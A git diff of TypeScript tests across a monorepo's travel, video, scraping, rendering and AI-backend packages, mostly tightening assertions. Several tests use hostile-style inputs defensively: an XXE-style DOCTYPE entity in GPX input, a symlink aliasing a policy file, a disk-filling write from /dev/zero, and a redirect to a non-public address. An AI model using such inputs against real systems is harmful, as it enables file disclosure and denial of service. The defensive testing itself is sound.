a/packages/module-travel/tests/foundation.test.ts b/packages/module-travel/tests/foundation.test.ts index b969c7d3ad..b4d7768dd2 100644 --- a/packages/module-travel/tests/foundation.test.ts +++ b/packages/module-travel/tests/foundation.test.ts @@ -103,17 +103,18 @@ export default defineConfig({ }); test("TypeScript property separators and comments survive owned-field removal", () => { - for (const block of [ - `travelParty: ${JSON.stringify(party)}, retained: "yes"`, - `retained: "yes", /* retain this */ travelParty: ${JSON.stringify(party)}`, - `travelParty: ${JSON.stringify(party)},`, - ]) { - const source = `export default {modules:{"${SPEAKING}":{${block}},"${TRAVEL}":{retained:"target",}}};`; - const plan = planTravelConfigMigration(source, "ts"); - expect(plan.changed).toBe(true); - expect(plan.source).toContain('retained:"target"'); - if (block.includes('retained: "yes"')) expect(plan.source).toContain('retained: "yes"'); - if (block.includes('/* retain this */')) expect(plan.source).toContain('/* retain this */'); + const moved = JSON.stringify(party); + const config = (speakingBody: string, travelBody: string) => + `export default {modules:{"${SPEAKING}":{${speakingBody}},"${TRAVEL}":{${travelBody}}}};`; + const target = `retained:"target", "travelParty": ${moved} `; + for (const [block, retained] of [ + [`travelParty: ${moved}, retained: "yes"`, ` retained: "yes"`], + [`retained: "yes", /* retain this */ travelParty: ${moved}`, `retained: "yes" /* retain this */ `], + [`travelParty: ${moved},`, ""], + ] as const) { + const plan = planTravelConfigMigration(config(block, `retained:"target",`), "ts"); + // The party lands in the existing travel object after its own trailing comma; every other byte stays. + expect(plan).toEqual({ source: config(retained, target), changed: true }); expect(planTravelConfigMigration(plan.source, "ts")).toEqual({ source: plan.source, changed: false }); } }); diff --git a/packages/module-travel/tests/output-naming.test.ts b/packages/module-travel/tests/output-naming.test.ts index 2bbdc853a1..ff0d8f337e 100644 --- a/packages/module-travel/tests/output-naming.test.ts +++ b/packages/module-travel/tests/output-naming.test.ts @@ -5,6 +5,7 @@ import sharp from "sharp"; import * as exifr from "exifr"; import { cleanup, makeTempBrain, runCli } from "../../core/tests/cli-harness.js"; import { taggedPhoto } from "./photo-fixtures.js"; +import { validateOutputNaming } from "../src/output-naming.js"; const roots: string[] = []; const hash = (bytes: Uint8Array) => new Bun.CryptoHasher("sha256").update(bytes).digest("hex"); @@ -34,6 +35,36 @@ const photo = (root: string, flags: string[] = [], input = "inputs/IMG_4711.jpg" const route = (root: string, flags: string[] = []) => runCli(root, ["travel", "route", "inputs/Recorded.GPX", "--to", "routes", ...flags, "--json"]); +const DATE_REFUSAL = "--date requires a valid calendar date in YYYY-MM-DD form."; +const SLUG_REFUSAL = "--name descriptor must contain an ASCII letter, digit, underscore or hyphen after accent folding."; +const naming = (options: { name?: string; date?: string }, forceDate = false) => { + try { return validateOutputNaming(options, forceDate); } catch (error) { return (error as Error).message; } +}; + +describe("output naming rules", () => { + test("nonexistent, malformed and year-zero dates refuse with the calendar diagnostic", () => { + const dates = ["2026-02-30", "2026-02-29", "1900-02-29", "2026-04-31", "0000-01-01", "2026-13-01", "2026-1-01", "2026-09-27T00:00:00Z"]; + expect(dates.map((date) => naming({ date }))).toEqual(dates.map(() => DATE_REFUSAL)); + expect(dates.map((date) => naming({ name: "Ferry", date }))).toEqual(dates.map(() => DATE_REFUSAL)); + }); + + test("valid leap days and dates before year 100 keep the exact supplied calendar", () => { + const dates = ["2024-02-29", "2000-02-29", "0001-01-01", "0099-12-31"]; + expect(dates.map((date) => naming({ name: "Ferry", date }))).toEqual(dates.map((date) => ({ slug: "ferry", date }))); + }); + + test("descriptors fold accents to the approved slug, and empty slugs refuse", () => { + const labels = [["Café in Ithaca", "cafe-in-ithaca"], ["Cafe\u0301 in Ithaca", "cafe-in-ithaca"], ["Straße", "stra-e"], ["Plan.v2", "plan-v2"], ["Ferry__to-Scheria", "ferry__to-scheria"]]; + expect(labels.map(([name]) => naming({ name }))).toEqual(labels.map(([, slug]) => ({ slug, date: undefined }))); + expect(["Αθήνα", ".. /"].map((name) => naming({ name, date: "2026-09-27" }))).toEqual([SLUG_REFUSAL, SLUG_REFUSAL]); + }); + + test("forcing the date requires a valid date", () => { + expect([naming({}, true), naming({ name: "Ferry" }, true), naming({ date: "2026-02-30" }, true), naming({ date: "2026-09-28" }, true)]) + .toEqual(["--force-date requires a valid --date calendar date.", "--force-date requires a valid --date calendar date.", DATE_REFUSAL, { date: "2026-09-28" }]); + }); +}); + describe("real CLI output naming", () => { test("legacy names report no applied naming date with nonempty capture metadata", async () => { const root = brain(); @@ -124,21 +155,21 @@ describe("real CLI output naming", () => { }); test("complete descriptors use exactly approved accent folding in both real commands", async () => { - for (const [label, slug] of [["Café in Ithaca", "cafe-in-ithaca"], ["Cafe\u0301 in Ithaca", "cafe-in-ithaca"], ["Straße", "stra-e"], ["Plan.v2", "plan-v2"], ["Ferry__to-Scheria", "ferry__to-scheria"]]) { - const root = brain(); - const p = await photo(root, ["--name", label!, "--date", "2026-09-27"]); - expect(p.code).toBe(0); - expect(JSON.parse(p.stdout).photo.files[0]).toMatchObject({ output: `copies/2026-09-27-${slug}.jpg`, date_source: "flag" }); - const r = await route(root, ["--name", label!, "--date", "2026-09-27"]); - expect(r.code).toBe(0); - expect(JSON.parse(r.stdout).route).toMatchObject({ gpx: `routes/2026-09-27-${slug}.gpx`, date_source: "flag" }); - } + // The rule table is owned by "output naming rules"; one combining-accent label proves both commands apply it. + const root = brain(), label = "Cafe\u0301 in Ithaca"; + const p = await photo(root, ["--name", label, "--date", "2026-09-27"]); + expect(p.code).toBe(0); + expect(JSON.parse(p.stdout).photo.files[0]).toMatchObject({ output: "copies/2026-09-27-cafe-in-ithaca.jpg", date_source: "flag" }); + const r = await route(root, ["--name", label, "--date", "2026-09-27"]); + expect(r.code).toBe(0); + expect(JSON.parse(r.stdout).route).toMatchObject({ gpx: "routes/2026-09-27-cafe-in-ithaca.gpx", date_source: "flag" }); }); test("invalid calendar dates and empty slugs refuse before any output directory", async () => { + // One date and one slug refusal per command; "output naming rules" owns the full tables. for (const flags of [ - ...["2026-02-30", "2026-02-29", "1900-02-29", "2026-04-31", "0000-01-01", "2026-13-01", "2026-1-01", "2026-09-27T00:00:00Z"].map(d => ["--date", d]), - ...["Αθήνα", ".. /"].map(n => ["--name", n]), + ["--date", "2026-02-30"], + ["--name", "Αθήνα"], ]) { const root = brain(); for (const [result, out] of [[await photo(root, flags), "copies"], [await route(root, flags), "routes"]] as const) { @@ -162,12 +193,10 @@ describe("real CLI output naming", () => { } }); - test("valid leap days and dates before year 100 keep the exact supplied calendar", async () => { - for (const date of ["2024-02-29", "2000-02-29", "0001-01-01", "0099-12-31"]) { - const root = brain(); - const r = await route(root, ["--name", "Ferry", "--date", date]); expect(r.code).toBe(0); - expect(JSON.parse(r.stdout).route).toMatchObject({ gpx: `routes/${date}-ferry.gpx`, date_source: "flag" }); - } + test("a date before year 100 keeps its exact supplied calendar in the route name", async () => { + const root = brain(); + const r = await route(root, ["--name", "Ferry", "--date", "0001-01-01"]); expect(r.code).toBe(0); + expect(JSON.parse(r.stdout).route).toMatchObject({ gpx: "routes/0001-01-01-ferry.gpx", date_source: "flag" }); }); test("named output containment and symlink guards remain active", async () => { diff --git a/packages/module-travel/tests/photo.test.ts b/packages/module-travel/tests/photo.test.ts index 5a5257c451..3b1c8ce68d 100644 --- a/packages/module-travel/tests/photo.test.ts +++ b/packages/module-travel/tests/photo.test.ts @@ -210,7 +210,7 @@ describe("real travel photo CLI", () => { expect(result.code).toBe(2); const photo = report(result.stdout); expect(photo.files.map(file => file.source)).toEqual(["inputs/ithaca.jpg"]); expect(photo.errors.map(error => error.source)).toEqual(["inputs/troy.jpg", "inputs/absent.jpg"]); - expect(photo.errors.every(error => error.message.length > 0)).toBe(true); + expect(photo.errors.filter(error => error.message.length === 0)).toEqual([]); expect(readdirSync(join(root, "photos"))).toEqual(["ithaca.jpg"]); expect(readFileSync(join(root, "inputs/troy.jpg"), "utf8")).toBe("not an image"); }); diff --git a/packages/module-travel/tests/routes-runtime.test.ts b/packages/module-travel/tests/routes-runtime.test.ts index 0e7904af3c..593a733e0d 100644 --- a/packages/module-travel/tests/routes-runtime.test.ts +++ b/packages/module-travel/tests/routes-runtime.test.ts @@ -123,8 +123,9 @@ describe("real route CLI", () => { const result = await replayCli(root, source!, { ...robots(url.origin), [url.href]: { body } }); expect(result.code).toBe(0); expect(result.requests.map((r) => r.url)).toEqual([`${url.origin}/robots.txt`, url.href]); - expect(result.requests.every((r) => r.method === "GET" && r.headers["user-agent"]?.includes("brain-scrape"))).toBe(true); - expect(result.requests.some((r) => r.headers.cookie || r.headers.authorization)).toBe(false); + expect(result.requests.map((r) => r.method)).toEqual(["GET", "GET"]); + expect(result.requests.map((r) => r.headers["user-agent"])).toEqual([expect.stringContaining("brain-scrape"), expect.stringContaining("brain-scrape")]); + expect(result.requests.flatMap((r) => Object.keys(r.headers).filter((name) => ["cookie", "authorization"].includes(name.toLowerCase())))).toEqual([]); const { route } = JSON.parse(result.stdout); const saved = parseGpx(readFileSync(join(root, route.gpx), "utf8")); expect(saved.segments[0]!.length).toBeGreaterThan(1); diff --git a/packages/module-travel/tests/routes.test.ts b/packages/module-travel/tests/routes.test.ts index 9d586b52c8..fdaeb2754b 100644 --- a/packages/module-travel/tests/routes.test.ts +++ b/packages/module-travel/tests/routes.test.ts @@ -20,9 +20,13 @@ describe("route parsing and metrics", () => { }); test("rejects malformed XML, unsupported versions and doctypes instead of accepting partial geometry", () => { - for (const bad of [source.replace("", ""), source.replace('version="1.1" creator', 'version="2.0" creator'), + const refusal = (bad: string) => { try { parseGpx(bad); return "accepted"; } catch (error) { return (error as Error).message; } }; + expect([source.replace("", ""), source.replace('version="1.1" creator', 'version="2.0" creator'), ']>' + source.replace('lat="0"', 'lat="&departure;"'), source + "", - source.replace('encoding="UTF-8"', 'encoding="UTF-16"')]) expect(() => parseGpx(bad)).toThrow(); + source.replace('encoding="UTF-8"', 'encoding="UTF-16"')].map(refusal)).toEqual([ + expect.stringContaining("unexpected close tag"), "Expected GPX 1.0 or 1.1 with a matching namespace.", + "GPX doctypes/entities are unsupported.", expect.stringContaining("only one root"), + "GPX input must use UTF-8 or ASCII encoding."]); }); test("invalid coordinates fail while invalid or missing optional data stays unknown", () => { @@ -60,7 +64,7 @@ describe("route parsing and metrics", () => { test("non-monotonic recording timestamps never become a fabricated duration", () => { const broken = parseGpx(source.replace("00:02:00Z", "00:00:30Z")); expect(broken.segments[0]).toHaveLength(4); - expect(broken.segments[0]!.every((p) => p.time !== null)).toBe(true); + expect(broken.segments[0]!.filter((p) => p.time === null)).toEqual([]); expect(broken.segments[0]![2]!.time).toBe("2026-07-15T00:00:30.000Z"); expect(routeMetrics(broken.segments).recorded_duration_s).toBeNull(); }); diff --git a/packages/module-travel/tests/sync.test.ts b/packages/module-travel/tests/sync.test.ts index 2d7a410c07..74fa23e993 100644 --- a/packages/module-travel/tests/sync.test.ts +++ b/packages/module-travel/tests/sync.test.ts @@ -108,8 +108,9 @@ describe("travel sync", () => { expect((await sync(root)).files).toEqual(["trips/_index.md", "places/_index.md"]); const trips = read(root, "trips/_index.md"); const [before, after] = prose.split(/[\s\S]*/); - expect(trips.startsWith(before.replace(/^updated: .*$/m, trips.match(/^updated: .*$/m)![0]))).toBe(true); - expect(trips.endsWith(after)).toBe(true); + const head = before.replace(/^updated: .*$/m, trips.match(/^updated: .*$/m)![0]); + expect(trips.slice(0, head.length)).toBe(head); + expect(trips.slice(trips.length - after.length)).toBe(after); expect(after).toBe("\n\nNotes kept by hand.\n"); expect(region(root, "trips/_index.md", "travel-trips")).toBe([ "_Generated from each trip's frontmatter by `brain travel sync`. Edit the trips, not these tables._", diff --git a/packages/module-video/tests/cli.test.ts b/packages/module-video/tests/cli.test.ts index bae4019eae..a8991d8d84 100644 --- a/packages/module-video/tests/cli.test.ts +++ b/packages/module-video/tests/cli.test.ts @@ -1,10 +1,14 @@ -import { afterEach, describe, expect, test } from "bun:test"; +import { afterEach, describe, expect, spyOn, test } from "bun:test"; import { existsSync, readFileSync, writeFileSync } from "node:fs"; import { join } from "node:path"; +import type { CommandContext, CompletionProvider } from "@schlessera/brain"; import { cleanup, makeTempBrain, runCli } from "../../core/tests/cli-harness.js"; +import command from "../src/cli.js"; +import { configSchema, type VideoConfig } from "../src/module.js"; const roots: string[] = []; afterEach(() => { for (const root of roots.splice(0)) cleanup(root); }); +type CompletionRequest = Parameters[0]; const URL = "https://www.youtube.com/watch?v=Odysseus001"; function fixture(options: { capability?: boolean; builtin?: boolean; declared?: boolean; dormant?: boolean; answer?: string; emptyAnswer?: boolean } = {}) { const root = makeTempBrain({ empty: true }); roots.push(root); @@ -71,6 +75,10 @@ describe("real brain video CLI", () => { }); test("undeclared module contributes no namespace, watch skill or instructions", async () => { const root = fixture({ declared: false }); + // `skills sync` never writes module instructions; only `module enable` can, so ask it. + const enable = await runCli(root, ["module", "enable", "video", "--json"]); + expect(enable.code).not.toBe(0); + expect(enable.stderr).toContain('Module "video" is not configured'); const help = await runCli(root, ["--help"]); expect(help.code).toBe(0); expect(help.stdout).not.toMatch(/^\s+video\s/m); @@ -111,6 +119,9 @@ describe("real brain video CLI", () => { expect(JSON.parse(missing.stdout).timestamps).toEqual([]); expect(JSON.parse(missing.stdout).warnings.join(" ")).toContain("no usable timestamps"); }); + // The module's own parser and source guards, in-process: one spawn per row + // cost seconds, and the spawned tests above and below already prove that a + // thrown error reaches the CLI as exit 1 with no success JSON. for (const args of [ [URL, "--end", "0"], [URL, "--start", "2:00", "--end", "1:00"], [URL, "--start", "1:60"], [URL, "--engine", "local"], [URL, "--question"], @@ -119,10 +130,22 @@ describe("real brain video CLI", () => { ["https://www.youtube.com:8443/watch?v=Odysseus001"], ["missing.mp4"], ]) { test(`rejects invalid input without invocation ${JSON.stringify(args)}`, async () => { - const root = fixture(); - const result = await runCli(root, ["video", "watch", ...args, "--json"]); - expect(result.code).toBe(1); expect(result.stdout).toBe(""); - expect(existsSync(join(root, "request.json"))).toBe(false); + const root = makeTempBrain({ empty: true }); roots.push(root); + const requests: CompletionRequest[] = []; + const ctx = { + root, json: true, config: configSchema.parse({}), + completions: { provider: { + id: "gemini:fictional-model", capabilities: { vision: true, video: true }, + async complete(req: CompletionRequest) { requests.push(req); return "00:10 Odysseus checks the supplies."; }, + } }, + } as unknown as CommandContext; + const log = spyOn(console, "log").mockImplementation(() => {}); + const error = spyOn(console, "error").mockImplementation(() => {}); + try { + const code = await command.run(["watch", ...args, "--json"], ctx); + expect(code).toBe(1); expect(log).not.toHaveBeenCalled(); + expect(requests).toEqual([]); + } finally { log.mockRestore(); error.mockRestore(); } }); } test("empty answer fails without success JSON", async () => { diff --git a/packages/module-video/tests/module.test.ts b/packages/module-video/tests/module.test.ts index e5903cfbf3..8220333fa3 100644 --- a/packages/module-video/tests/module.test.ts +++ b/packages/module-video/tests/module.test.ts @@ -4,6 +4,7 @@ import { resolve } from "node:path"; import { cleanup, makeTempBrain } from "../../core/tests/cli-harness.js"; import { discoverSkills } from "../../core/src/lib/skills/discover.js"; import { lintSkills } from "../../core/src/lib/skills/lint.js"; +import { GEMINI_FLASH_MODEL } from "@schlessera/brain/module"; import manifest, { configSchema } from "../src/module.js"; const roots: string[] = []; @@ -11,7 +12,8 @@ afterEach(() => { for (const root of roots.splice(0)) cleanup(root); }); test("manifest is opt-in, schema rejects alternate engines and unsafe timeout", () => { const config = configSchema.parse({}); expect(config.engine).toBe("gemini"); expect(config.timeoutMs).toBe(300000); - expect(config.model.length).toBeGreaterThan(0); + expect(config.model).toBe(GEMINI_FLASH_MODEL); + expect(() => configSchema.parse({ model: " " })).toThrow(); expect(() => configSchema.parse({ engine: "local" })).toThrow(); expect(() => configSchema.parse({ timeoutMs: 0 })).toThrow(); expect(() => configSchema.parse({ unknown: true })).toThrow(); diff --git a/packages/render-template/tests/kinds.test.ts b/packages/render-template/tests/kinds.test.ts index 016f43a13b..3165e83e9e 100644 --- a/packages/render-template/tests/kinds.test.ts +++ b/packages/render-template/tests/kinds.test.ts @@ -61,8 +61,8 @@ describe("document kinds", () => { m[1].split(/\s+/).some((c) => (OPENER_CLASSES as readonly string[]).includes(c)) ); expect(openers).toHaveLength(1); - const first = firstBodyElement(html); - expect(first.classes.some((c) => (OPENER_CLASSES as readonly string[]).includes(c))).toBe(true); + // The first element is the opener itself: a failure prints both class lists. + expect(firstBodyElement(html).classes).toEqual(openers[0][1].split(/\s+/).filter(Boolean)); }); test("sets the accent and switches its kind declares", () => { diff --git a/packages/render-template/tests/static.test.ts b/packages/render-template/tests/static.test.ts index 1bed0dc1f0..677e3788b3 100644 --- a/packages/render-template/tests/static.test.ts +++ b/packages/render-template/tests/static.test.ts @@ -17,8 +17,10 @@ test("throwing and unsafe entries retain source with named diagnostics", async ( } }); test("unknown and browser-only entries stay code without executing", async () => { - const result = await prepareStaticDocument(opts, { rendererFor: () => ({ needsBrowser: true, async toStatic() { throw new Error("must not execute"); } }) }); - expect(result.html).toContain("language-relay"); expect(result.warnings).toEqual([]); + const unknown = await prepareStaticDocument(opts, { rendererFor: () => null }); + expect(unknown.html).toContain("language-relay"); expect(unknown.warnings).toEqual([]); + const browserOnly = await prepareStaticDocument(opts, { rendererFor: () => ({ needsBrowser: true, async toStatic() { throw new Error("must not execute"); } }) }); + expect(browserOnly.html).toContain("language-relay"); expect(browserOnly.warnings).toEqual([]); }); test("nested fences and inline code preserve markdown semantics", async () => { const result = await prepareStaticDocument({ ...opts, content: "> ```relay\n> Raft ready\n> ```\n\n`relay`" }, { rendererFor: () => ({ needsBrowser: false, async toStatic() { return "Ready"; } }) }); diff --git a/packages/scrape/tests/adapter.test.ts b/packages/scrape/tests/adapter.test.ts index 0c2da37fb0..9bf74a8655 100644 --- a/packages/scrape/tests/adapter.test.ts +++ b/packages/scrape/tests/adapter.test.ts @@ -16,12 +16,12 @@ const LISTING = `
No Link Here @@ -51,12 +51,12 @@ describe("extractCards", () => { expect(records[0]).toEqual({ title: "Senior Platform Engineer", url: "https://jobs.example.com/job/1", - company: "Acme GmbH", + company: "Ithaca Shipwrights GmbH", location: "Remote", }); // The second card has no .loc — an absent optional field is simply absent. expect(records[1].location).toBeUndefined(); - expect(records[1].company).toBe("Beta AG"); + expect(records[1].company).toBe("Phaeacian Fleet AG"); }); test("drops a card missing a required field rather than half-filling it", () => { @@ -64,7 +64,7 @@ describe("extractCards", () => { // downstream is worse than a missing one, because it looks like data. const records = extractCards(parseHtml(LISTING), SELECTORS, "https://jobs.example.com/list"); expect(records).toHaveLength(2); - expect(records.some((r) => r.company === "No Link Here")).toBe(false); + expect(records.map((r) => r.company)).toEqual(["Ithaca Shipwrights GmbH", "Phaeacian Fleet AG"]); }); test("fallbacks cover a site that uses two layouts", () => { diff --git a/packages/scrape/tests/address-policy.test.ts b/packages/scrape/tests/address-policy.test.ts index 1d16421a20..d890673d8c 100644 --- a/packages/scrape/tests/address-policy.test.ts +++ b/packages/scrape/tests/address-policy.test.ts @@ -121,7 +121,9 @@ describe('addressPolicy "public-only"', () => { NonPublicAddressError ); // Only the public host was contacted; the redirect target never was. - expect(attempts.every((attempt) => new URL(attempt.url).hostname === PUBLIC_ADDRESS)).toBe(true); + expect(attempts.map((attempt) => new URL(attempt.url).hostname)).toEqual( + respectRobots ? [PUBLIC_ADDRESS, PUBLIC_ADDRESS] : [PUBLIC_ADDRESS] + ); expect(attempts.map((attempt) => new URL(attempt.url).pathname)).toEqual( respectRobots ? ["/robots.txt", "/voyage"] : ["/voyage"] ); diff --git a/packages/scrape/tests/jsonld.test.ts b/packages/scrape/tests/jsonld.test.ts index 1df9e5913b..a36600bd04 100644 --- a/packages/scrape/tests/jsonld.test.ts +++ b/packages/scrape/tests/jsonld.test.ts @@ -58,7 +58,7 @@ describe("extractJsonLd", () => { expect((documents[0] as Record).title).toBe("Radar Software Engineer"); // And the same input against the pattern this replaces. - expect(bareTagMatches(html) > 0).toBe(bareTagSees); + expect(bareTagMatches(html)).toBe(bareTagSees ? 1 : 0); }); } @@ -72,7 +72,7 @@ describe("extractJsonLd", () => { `; - expect(extractJsonLd(html).documents).toHaveLength(1); + expect(extractJsonLd(html).documents).toEqual([JSON.parse(POSTING)]); }); test("an empty placeholder tag is not an error", () => { diff --git a/packages/ui-backend-claude/tests/confirm-archive.test.ts b/packages/ui-backend-claude/tests/confirm-archive.test.ts index d05228b32f..c0bbb4dbea 100644 --- a/packages/ui-backend-claude/tests/confirm-archive.test.ts +++ b/packages/ui-backend-claude/tests/confirm-archive.test.ts @@ -306,7 +306,7 @@ test("a non-hosted project update still confirms archiving", async () => { const { output, permissionCalls } = await preToolUse("mcp__brain__brain_update", { path: "notes/raft.md", status: "archived" }); expect(permissionCalls).toHaveLength(1); expect(permissionCalls[0]!.kind).toBe("command"); - expect(output).toBeDefined(); + expect(output).toEqual({ continue: true }); }); mockWorkerHostForSdkStream(); diff --git a/packages/ui-backend-claude/tests/subscription-billing.test.ts b/packages/ui-backend-claude/tests/subscription-billing.test.ts index d6faceb423..93dda17aa5 100644 --- a/packages/ui-backend-claude/tests/subscription-billing.test.ts +++ b/packages/ui-backend-claude/tests/subscription-billing.test.ts @@ -232,8 +232,11 @@ describe("a profile without its own credential bills the subscription", () => { const fixture = arrange({}); const { frames, activity } = await runTurn(fixture); // Refused before init, the run still records what it would have billed (#211). - expect(runtimeReport(activity)?.billing).not.toBe("subscription"); - expect(runtimeReport(activity)?.policyViolation).toBeDefined(); + expect(runtimeReport(activity)).toMatchObject({ + billing: "unknown", + policy: "subscription", + policyViolation: "a profile without its own credential ran on a credential that is not a recognised subscription", + }); expect(seen).toEqual([]); expectAuthFailure(frames); diff --git a/packages/ui-backend-claude/tests/subscription.test.ts b/packages/ui-backend-claude/tests/subscription.test.ts index 84fa0a2175..bfaef7d778 100644 --- a/packages/ui-backend-claude/tests/subscription.test.ts +++ b/packages/ui-backend-claude/tests/subscription.test.ts @@ -99,6 +99,6 @@ describe("settingsRefusal", () => { }); test("no report is refused, not trusted", () => { - expect(settingsRefusal(undefined)).not.toBeNull(); + expect(settingsRefusal(undefined)).toBe("the CLI did not report its settings"); }); }); diff --git a/packages/ui-backend-claude/tests/version-requirements.test.ts b/packages/ui-backend-claude/tests/version-requirements.test.ts index c530839c00..1004e5b657 100644 --- a/packages/ui-backend-claude/tests/version-requirements.test.ts +++ b/packages/ui-backend-claude/tests/version-requirements.test.ts @@ -141,12 +141,24 @@ test("failed SDK handshake refuses API input rather than treating init as verifi expect(h.frames.at(-1)).toMatchObject({ type: "error", message: expect.stringContaining("handshake refused") }); }); test("a stuck SDK handshake has a bounded pre-prompt refusal", async () => { - const f = fixture(); const h = harness(() => new Promise(() => {})); const started = Date.now(); - await createClaudeBackend(options(f, h)).startTurn({ prompt: "nonempty user work", signal: new AbortController().signal, bridge: h.bridge }); - expect(h.calls).toHaveLength(1); - expect(h.released).toHaveLength(0); - expect(h.frames.at(-1)).toMatchObject({ type: "error", message: expect.stringContaining("SDK startup timed out after 5 s") }); - expect(Date.now() - started).toBeLessThan(7000); + // The gate's own deadline is registered at its production 5 s and fired at + // once; every other timer keeps real time. + const descriptor = Object.getOwnPropertyDescriptor(globalThis, "setTimeout")!, native = globalThis.setTimeout; + const deadlines: number[] = []; + Object.defineProperty(globalThis, "setTimeout", { ...descriptor, value: (callback: () => void, delay?: number, ...args: unknown[]) => { + if (!/turn-prompt-gate\.ts/.test(new Error().stack ?? "")) return native(callback, delay, ...args); + deadlines.push(delay ?? 0); + return native(callback, 0, ...args); + } }); + try { + const f = fixture(); const h = harness(() => new Promise(() => {})); const started = Date.now(); + await createClaudeBackend(options(f, h)).startTurn({ prompt: "nonempty user work", signal: new AbortController().signal, bridge: h.bridge }); + expect(deadlines, "SDK_STARTUP_DEADLINE_IS_5000_MS").toEqual([5000]); + expect(h.calls).toHaveLength(1); + expect(h.released).toHaveLength(0); + expect(h.frames.at(-1)).toMatchObject({ type: "error", message: expect.stringContaining("SDK startup timed out after 5 s") }); + expect(Date.now() - started).toBeLessThan(7000); + } finally { Object.defineProperty(globalThis, "setTimeout", descriptor); } }); test("host cancellation during handshake withholds input and preserves cancelled terminal", async () => { const f = fixture(); const host = new AbortController(); diff --git a/packages/ui-backend-claude/tests/worker-exhaustion.test.ts b/packages/ui-backend-claude/tests/worker-exhaustion.test.ts index c0534f3ac3..5d3ba7960e 100644 --- a/packages/ui-backend-claude/tests/worker-exhaustion.test.ts +++ b/packages/ui-backend-claude/tests/worker-exhaustion.test.ts @@ -61,6 +61,7 @@ test("a host cancellation outranks a full state found after the result", async ( const results = await run(`head -c ${8 * MiB} /dev/zero > "$CLAUDE_CONFIG_DIR/full" 2>/dev/null; sleep 0.3; exit 0`, true); expect(results).toHaveLength(1); expect(results[0]).not.toHaveProperty("failure.errorClass", "worker_state_exceeded"); + expect(results[0]).toMatchObject({ outcome: "cancelled", isError: false, usage: { inputTokens: 17, outputTokens: 9 } }); }, 30_000); test("a write failure the worker reported stays on record however much it prints afterwards", async () => { diff --git a/packages/ui-backend-claude/tests/worker-rtk.test.ts b/packages/ui-backend-claude/tests/worker-rtk.test.ts index 0f73e5c31b..6120ca076d 100644 --- a/packages/ui-backend-claude/tests/worker-rtk.test.ts +++ b/packages/ui-backend-claude/tests/worker-rtk.test.ts @@ -94,6 +94,7 @@ console.log(JSON.stringify(results)); hostExecuted: boolean; granted?: string; }> = JSON.parse(stdout.trim()); + expect(results.map(result => result.mode), "EVERY_RTK_MODE_REPORTED").toEqual(["host-only", "visible", "host-only-after-visible", "repo-first", "host-home", "unknown"]); for (const result of results) { expect(result.code, `${result.mode}: ${result.errors}`).toBe(0); expect(result.output).toContain("Odysseus sails"); diff --git a/packages/ui-backend-claude/tests/worker.test.ts b/packages/ui-backend-claude/tests/worker.test.ts index 362134e6cd..097af029ef 100644 --- a/packages/ui-backend-claude/tests/worker.test.ts +++ b/packages/ui-backend-claude/tests/worker.test.ts @@ -66,7 +66,7 @@ test("worker transcript export refuses symlinks and concurrent saved-state overw mkdirSync(join(tmpfs, project), { recursive: true }); writeFileSync(join(brain, "policy.md"), "Athena policy"); symlinkSync(join(brain, "policy.md"), join(tmpfs, project, "alias.jsonl")); - expect(() => state.persist(tmpfs)).toThrow(); expect(readFileSync(join(brain, "policy.md"), "utf8")).toBe("Athena policy"); + expect(() => state.persist(tmpfs)).toThrow("runtime state contains an alias or special file"); expect(readFileSync(join(brain, "policy.md"), "utf8")).toBe("Athena policy"); rmSync(join(tmpfs, project, "alias.jsonl")); mkdirSync(join(saved, project), { recursive: true }); writeFileSync(join(saved, project, "11111111-1111-4111-8111-111111111111.jsonl"), "Concurrent transcript"); writeFileSync(join(tmpfs, project, "11111111-1111-4111-8111-111111111111.jsonl"), "Worker transcript"); diff --git a/packages/ui-backend-pi/tests/api-failure.test.ts b/packages/ui-backend-pi/tests/api-failure.test.ts index 0155e2a591..8a0428e1ba 100644 --- a/packages/ui-backend-pi/tests/api-failure.test.ts +++ b/packages/ui-backend-pi/tests/api-failure.test.ts @@ -137,7 +137,7 @@ describe("a pi provider failure ends the turn as a failure", () => { test("a partial answer before the failure is still streamed", async () => { const frames = await runTurn([textDelta("Half an "), assistantEnd("error", { errorMessage: "connection reset" })]); - expect(frames.some((frame) => frame.type === "text_delta" && frame.text === "Half an ")).toBe(true); + expect(frames.flatMap((frame) => (frame.type === "text_delta" ? [frame.text] : []))).toEqual(["Half an "]); const result = terminal(frames); // No status in the text: none is claimed. expect(result.failure).toEqual({ errorClass: "unknown", message: "connection reset" }); diff --git a/packages/ui-backend-pi/tests/autonomous-envelope.test.ts b/packages/ui-backend-pi/tests/autonomous-envelope.test.ts index 77219d0c81..d0b2729037 100644 --- a/packages/ui-backend-pi/tests/autonomous-envelope.test.ts +++ b/packages/ui-backend-pi/tests/autonomous-envelope.test.ts @@ -3,18 +3,19 @@ * proof is `tests/autonomous-containment.test.ts`; these are the refusals and * the selection that never reach a worker. */ -import { afterEach, describe, expect, test } from "bun:test"; +import { afterEach, describe, expect, spyOn, test } from "bun:test"; import { mkdtempSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; import type { Model } from "@earendil-works/pi-ai"; +import * as internal from "@schlessera/brain-ui-sdk/internal"; import { INFERENCE_PLACEHOLDER } from "@schlessera/brain-ui-sdk/internal"; import { piAutonomousEnvelope } from "../src/autonomous-envelope.js"; const anthropic = { provider: "anthropic", id: "claude-sonnet-4-6", api: "anthropic-messages", baseUrl: "https://api.anthropic.com" } as Model; const dirs: string[] = []; const stops: Array<() => void> = []; -const saved = { ANTHROPIC_API_KEY: process.env.ANTHROPIC_API_KEY, ODYSSEUS_PI_KEY: process.env.ODYSSEUS_PI_KEY }; +const saved = { ANTHROPIC_API_KEY: process.env.ANTHROPIC_API_KEY, OPENAI_API_KEY: process.env.OPENAI_API_KEY, ODYSSEUS_PI_KEY: process.env.ODYSSEUS_PI_KEY }; afterEach(() => { for (const stop of stops.splice(0)) stop(); for (const dir of dirs.splice(0)) rmSync(dir, { recursive: true, force: true }); @@ -38,11 +39,20 @@ describe("pi autonomous envelope", () => { test("a provider override selects the upstream; a $NAME key reads the server environment", () => { delete process.env.ANTHROPIC_API_KEY; + // An ambient OpenAI key would answer before the override's key. + delete process.env.OPENAI_API_KEY; process.env.ODYSSEUS_PI_KEY = "sk-odysseus-override"; const openai = { provider: "openai", id: "gpt-odysseus", api: "openai-completions", baseUrl: "https://api.openai.com/v1" } as Model; - const { relay, inference } = piAutonomousEnvelope(openai, agentDir({ "models.json": { providers: { openai: { baseUrl: "https://gateway.example/v1", apiKey: "$ODYSSEUS_PI_KEY" } } } })); - stops.push(relay.stop); - expect(inference.basePath).toBe("/v1"); + const start = spyOn(internal, 